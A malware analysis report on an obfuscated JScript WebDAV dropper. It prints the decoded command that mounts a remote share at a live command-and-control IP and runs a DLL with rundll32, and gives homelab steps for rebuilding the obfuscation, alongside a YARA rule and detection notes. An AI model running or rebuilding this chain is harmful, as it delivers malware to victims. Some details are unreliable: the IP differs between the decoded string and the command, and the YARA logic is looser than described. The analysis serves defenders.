unclassified-js-webdav-dropper: dfb1eb98 — 3,787-char variable-name padding, 94.159.113.82:8888

Executive Summary: Eighty-first confirmed sibling of the unclassified-js-webdav-dropper JScript/batch WebDAV dropper family. A 1.3 MB single-line JScript that uses a 62-entry random-noise dictionary lookup table with a 3,787-character variable name (new family record) to assemble a WScript.Shell → cmd /c net use → rundll32 chain targeting 94.159.113.82:8888 with payload 838132532154.dll. Static-only analysis; CAPE skipped as non-executable.

What It Is

How It Works

Obfuscation Architecture

The script is a single line of 1.3 MB containing 64 semicolon-delimited statements. ^[file.txt]

1. Statement 0 — declares a JavaScript variable with a 3,787-character random-alphabet name ending in ...eggrelease and initialises it to an empty array =[]. ^[raw script deobfuscation]
2. Statements 1–62 — 62 sequential array-index assignments of the form varname['<300-char-random-noise-key>']='<char>'. Each key is a 200–500 character lowercase noise string with no semantic content. ^[raw script deobfuscation]
3. Statement 63 — a Function(''+varname['key1']+varname['key2']+...+varname['keyN']+ '',0,false); expression that concatenates 130 dictionary lookups (some keys are reused) into a 130-character payload string, then passes it as the body of a Function constructor with arguments 0 and false. ^[raw script deobfuscation]

Decoded Payload

The assembled payload string is: ^[raw script deobfuscation]

returnthisWScriptCreateObjectWScriptShellruncmdcnetuse94159113868888davwwwrootrundll3294159113868888davwwwroot838132532154dllEntry

When executed inside new Function('return this')(), this resolves to a property-access chain equivalent to:

new Function('return this')().WScript.CreateObject('WScript.Shell')
    .Run('cmd /c net use \\94.159.113.82@8888\DavWWWRoot & rundll32 \\
         \\94.159.113.82@8888\DavWWWRoot\838132532154.dll,Entry', 0, false)

The non-alphanumeric tokens (quotes, backslashes, spaces, dots, @, &, commas) are hardcoded in the surrounding JS template; only the alphanumeric variable names, C2 IP digits, payload filename, and method names are delivered via the dictionary.

Execution Chain

1. WScript.exe opens the .js file (user-executed, likely via email or download). ^[inferred from family pattern]
2. WScript.Shell.Run spawns cmd.exe /c in a hidden window (0 = hidden, false = don't wait). ^[decoded payload]
3. net use mounts the remote WebDAV share \\94.159.113.82@8888\DavWWWRoot. ^[decoded payload]
4. rundll32 loads 838132532154.dll from the mounted share and calls its Entry export. ^[decoded payload]

C2 Infrastructure

Interesting Tidbits

• New family record for variable-name length: The dictionary variable name is 3,787 characters — 55% longer than the prior record of 2,478 chars held by sibling f8dce7df, and 2.1× longer than the 1,794-char sibling fe261d49. This appears to be a continuous arms-race against static string-extraction tools, not a functional change. ^[raw script deobfuscation] ^[entities/unclassified-js-webdav-dropper.md]
• Same C2, new payload: C2 IP 94.159.113.82:8888 was first observed in sibling f8dce7df (64th sibling, payload 13924273943322.dll). This sample uses a fresh payload filename (838132532154.dll), suggesting either campaign rotation or a second victim wave against the same infrastructure. ^[decoded payload] ^[entities/unclassified-js-webdav-dropper.md]
• No PowerShell wrapper: Unlike many 62-entry dictionary siblings on cloudslimit.com and dailywebstats.com, this sample targets the 94.159.113.x subnet and uses direct rundll32 ...,Entry execution without a PowerShell -EncodedCommand layer — consistent with the 94.159.113.x sub-cluster pattern. ^[decoded payload]
• No sandbox gate, no decoy: No timeout anti-emulation, no wordpad decoy, no try/catch noise blocks. The entire threat surface is in the single obfuscated line. ^[raw script deobfuscation]
• Noise key reuse: Of 130 key references in the final Function call, only 62 unique keys exist in the dictionary. Some keys are referenced multiple times (e.g., the qayesgiic... key appears at least 3 times), likely a side effect of automated generation rather than deliberate steganography. ^[raw script deobfuscation]

How To Mess With It (Homelab Replication)

Goal: Reproduce the JScript dictionary-lookup obfuscation pattern and verify it behaves identically.

1. Write a minimal JScript that performs the same WebDAV mount + rundll32 chain in plain text.
2. Generate 62 random lowercase noise strings (200–500 chars each) as dictionary keys.
3. Map each key to a single character of your payload.
4. Wrap in the same Function(''+varname['key1']+...+varname['keyN']+ '')(0,false) template.
5. Optionally pad the variable name to 3,787 characters by prepending random alphabet characters.
6. Test on a Windows VM with a local WebDAV share (IIS with WebDAV module).

Verification: Open the .js in cscript.exe with //X (debugger flag) and step through; the assembled string should match your original plaintext payload.

Deployable Signatures

YARA Rule

rule UnclassifiedJSWebDAVDropper_ExtremePadding : script dropper {
    meta:
        description = "JScript WebDAV dropper with extreme variable-name padding (2000+ chars) and dictionary lookup"
        author = "PacketPursuit"
        date = "2026-07-20"
        hash = "dfb1eb98346805aecc3f3b45d335ae5dbe0cf23ecde708fa9c435cf4a104fa62"
    strings:
        $a = /var\s+[a-z]{1000,}\s*=\s*\[\];/
        $b = /\['[a-z]{200,500}'\]\s*=\s*'[a-zA-Z0-9]'/
        $c = "Function('" nocase
        $d = "davwwwroot" nocase
        $e = "regsvr32" nocase
        $f = "rundll32" nocase
    condition:
        filesize > 100KB and filesize < 2MB and
        #a >= 1 and #b >= 10 and
        ($c and $d) or ($e or $f)
}

Behavioral Fingerprint

A .js file executed by wscript.exe that spawns cmd.exe /c net use to mount a \\*@8888\DavWWWRoot share, followed within 5 seconds by rundll32.exe or regsvr32.exe loading a .dll from a DavWWWRoot UNC path with Entry as the exported function name. No user interaction required after initial wscript.exe launch.

IOC List

Detection Signatures

References

• Sibling analyses: unclassified-js-webdav-dropper entity page (80 prior siblings documented)
• C2 subnet cluster: 94.159.113.79, .82, .84, .86, .204 (eight prior siblings)

Provenance

• triage.json — triage metadata ^[triage.json]
• file.txt — file(1) output confirming ASCII text, very long lines ^[file.txt]
• strings.txt — raw strings (1.3 MB single line, no plaintext C2 due to obfuscation) ^[strings.txt]
• rabin2-info.txt — confirms non-PE (bits=0, havecode=false) ^[rabin2-info.txt]
• binwalk.txt — eCos RTOS false positives on noise strings ^[binwalk.txt]
• dynamic-analysis.md — CAPE skipped (non-executable text file) ^[dynamic-analysis.md]
• Manual deobfuscation via Python extraction of 64 semicolon-delimited JS statements, 62 key/value pairs, and 130 key references in the final Function constructor. ^[raw script deobfuscation]

Report written 2026-07-20. Static-only analysis — no runtime execution performed.